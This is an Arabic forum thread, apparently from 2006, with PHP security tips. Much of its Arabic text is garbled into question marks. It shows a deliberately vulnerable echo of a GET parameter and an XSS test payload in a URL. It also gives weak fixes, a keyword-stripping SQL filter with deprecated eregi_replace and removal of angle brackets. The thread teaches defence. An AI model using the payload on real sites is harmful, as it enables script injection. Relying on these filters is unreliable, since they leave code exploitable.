? ??? ???? ????? ????? ??? ????? ??? ??????? ?? ??? ??? ????? ?? ??????? ?? ???? ??????? ??? ????????? ? ???? ??? ?????? ??????? ?????? ??? ????????? ? ??????? ????? ??? ?? ??? ???????:
كود: تحديد الكل
function filter_sql($input) {
$reg = "(delete)|(update)|(union)|(insert)";
return(eregi_replace($reg, "", $input));
}
10- ????? ??????? ????????? Cross-Site Scripting XSS
?? ??????? ??????? ??????? ??????? ?????????(XSS) ? ?? ????? ??????? ????? ?????? ???? ?? ?????????? ??????? ?????? ??????? ?????? ?? ?????? ??????? ? ???????? ? ????? ????? ? ? ??????? ?? ??????? ???? ?? PHP ??? ? ???? ?? ?? ??? ?????? ??? ??????? ?? ?????? ? ?? ???? ???? ??????? ???? HTML ? Javascript ?? ?????? ?? ???? ??????? FORMS ??? ???? ????? ?? ???? ???????? ??????? ????? ?????? ???? ???? ???????? ?? ???????? ?? ?? ???? ??? ?? ??? ?? ????? ???????? ? ? ?????:
كود: تحديد الكل
$note = $_GET["note"];
If ($note) {
echo $note;
}
?????? ???????? ????? ?????? ??????? ?? ???? ???? ??????? ?? ???????:
كود: تحديد الكل
Page.php?note=<script>alert("pop up");</script>
??? ???? ???? ??? ??????? ????? ???? HTML ? Javascript ??? ???????? ? ??? ???? ?????? ????? ? ?????? ????????? ??? ????? ?????? ? ???... ??? ?? ????? $note ? ????? ?????? ????????? ????? ???? ???? ??????? ???? ?????? ? ?????? ??????? ????? ????? ???? Javascript ?????? ??????? ?????? ??? ???? ???? ?? ??? ??? ?? ????? ?? ??????? pop up (? ??????? ??????? ???? ????? ?? ? ?? ?????? ??? ?? ?????? ??? ?????? ?? ??? ?????) ? ???? ?? ???? ???? < > ??? ?? ?????? ??????:
كود: تحديد الكل
$escapeChars[0] = array('<', '>');
$escapeChars[1] = array("<", ">");
$note = str_replace($escapeChars[0],$escapeChars[1],$_GET["note"]);
? ?????? ??????:
كود: تحديد الكل
$escapeChars[0] = array('<', '>');
$note = str_replace($escapeChars[0], "", $_GET["note"]);
???? ???? ??? ?????? ??? ??? ???? ??? ??????? ?? ?????? ? ?? ??????? ???? htmlentities() .
11- ??? ???? ????????
?? ?????? ?????? ????? ??? ???????? ?? ?? ??????? ???? ???? ???????? ????? ? ??????? ? ?????? ??? ??????? ? ?????? ?? ??????????? ? ? ??????? ?? ??? ?????? ?? ???? ???????? ??????? ???? ?????? ?????? ? ??????? ???? ?? ??? ???? ???? ???????? ? ???? ???? ??? ???????.
- ??? index.php ???? ?????? ?? ?????? ?????? Root.
- ????? ??????? ?????? ??? Config ???? ?? ???? ? ???? ???? ??? ???? ?????? /lib/.
- ????? ??????? ???? ?? ???? ???? ??? ???? ?????? /tpl/ ? ??? ????? ?????? ???????? ??? .htaccess.
- ????? ?????? Classes ???? ?? ???? ???? ????? /classes/ ? ??? ????? ?????? ???????? ??? .htaccess.
- ????? ????? ????? ?? ???? /images/.
- ??? ??? ?????? ????? ???? ?????? ActionScript ?????? ??? ?????? ????? ? ???? ???? /flashscr/.
??? ?? ???? ???? ?????? ?????? ???? ??????? ???????:
- ?? ?? ????????? ???????? ?? ??? index.php ???? ??????? parameters ??? ???? ????? ?????? ?? ????? ????? ?????? ???????? ??? ??? ????? ??????? ???? ????? ???? ???????? ?? ??? ???????.
- ???? ?????? ??????? FORMS ?????? ???????? ???? ???????? ??? ??? ????? ?????? ???????? ??? ?????? ???????: ?class=account&action=login ??? ???? ??????? ???? ????? ??? ? ??? ????? ?????? ???????? ?? ?? ???? ??????????.
- ???? ???????? ??????? ?? ????? ???????? ????? ??? ???????? ?? ???????? ??? ????? ??? ??? ????? ?????? ?????? ??????? ?? ??????? ????? ?? ???? ??? ????? ??????? ? ??????? ?? ??? ?????? ?? ??????? ??????? ???? index.php.
index.php
|
|--- ??? ????? ???????
|
|--- ????? ?????????
|--- ???????
|--- ???????
|--- ???? ????????
|--- ???????
|
|-----------|
|
|--- ????? ??????
|--- ???.???????
|--- ???.???????
|--- ???.???????
|--- ???.????????
|
||--- ???.???????
||
||--- ???? ???????
|
|--- ????? ????????
? ?????? ?????? ???? ??? ?????? ?? ??? ???? ???????? ??? ? ??? ???? ? ?? ??????? ?? ???? ??? ???? ?? ??????? ???????? ???????:
- ????? ???? ???????? ??????? (???? ??? ?????) ?? ??? ???????? ?? ????? ???????? ?? ???? ???? ??? ????? ???????.
- ????? ? ??? ???? ??????? ?? ???? ???? ??? ????? ???????.
- ?? ??? ?? ????? ?????? ???? ???? ??????? ?????? ???? ????? ???????? ??????? ? ??????? ?? ????? ?? ?????? ?????? ?? ??? ????? ???????.
?????? ?? ????? ?? ??? ?? ???? ?????? ?????????? ????? ??? ????? ???????? ???? ? ???? ?????? ??? ?????? ???? ?????.
آخر تعديل بواسطة مهند قمرة في الأحد أكتوبر 08, 2006 5:01 pm، تم التعديل مرة واحدة.
سأعود قريبا لعالمي في ارابيا 
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-


-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

- مهند قمرة
- مشرف سابق
- مشاركات: 4222
- اشترك في: السبت أكتوبر 30, 2004 8:32 pm
- مكان: مـصـر [ولي الفخر]
- اتصال:
??? ??????? ????? ?? ??????? ????
??????: ???? ????
????? ??????:
http://www.zajilnet.com/forum/index.php?showuser=3616
------------------------------
??? ??? ???? ??????? ??????? ????????
??????: ???? ????
????? ??????:
http://www.zajilnet.com/forum/index.php?showuser=3616
------------------------------
??? ??? ???? ??????? ??????? ????????
آخر تعديل بواسطة مهند قمرة في الثلاثاء أكتوبر 31, 2006 7:33 pm، تم التعديل مرة واحدة.
سأعود قريبا لعالمي في ارابيا 
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-


-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

???? ?? ??? ??? ?????? ?????? ????? ??????
??? ?????
??? ?????
زياره واحده تكفي ونحن نضمن تكرارها

--------------------------------------
أضغط هنا لدخول منتدى نجم العرب
-----------------------------------------


--------------------------------------
أضغط هنا لدخول منتدى نجم العرب
-----------------------------------------

- قلب العالم
- عضو مطرود
- مشاركات: 1397
- اشترك في: الأحد سبتمبر 19, 2004 3:52 pm
- مكان: في قلب امرأة اعشقها بجنون
- اتصال:
?????? ????? ????? ???? ??????? 
????? ??? ??? ??????? ????????? ???? ??????
????? ??? ??????? ????? ?????? ????? ?? ????? ?????
???????

????? ??? ??? ??????? ????????? ???? ??????
????? ??? ??????? ????? ?????? ????? ?? ????? ?????

???????

احصائيات
مواقعي حتى الآن هي :
http://www.sk.lebzz.com منوع
http://www.host.lebzz.com إسلامي
لقد عربت او برمجت او طورت ستايات وعددهم : 4
لقد عربت او برمجت او طورت هاكات وعددهم : 16
لا تحاول الحصول على بريدي فأنا لا ادعم بالرسائل الخاصة ولا البريد من يريد مساعدة يضعها لكي يشاركه الجميع 
مواقعي حتى الآن هي :
http://www.sk.lebzz.com منوع
http://www.host.lebzz.com إسلامي
لقد عربت او برمجت او طورت ستايات وعددهم : 4
لقد عربت او برمجت او طورت هاكات وعددهم : 16


-
- صُناع أريبيا
- مشاركات: 635
- اشترك في: الاثنين مارس 31, 2003 12:52 am
- مكان: أرض الله الواسعة
-
- صُناع أريبيا
- مشاركات: 755
- اشترك في: السبت يوليو 26, 2003 10:29 pm
- اتصال:
الموجودون الآن
المتصفحون للمنتدى الآن: DotNetDotCom.org Bot و 14 زائرًا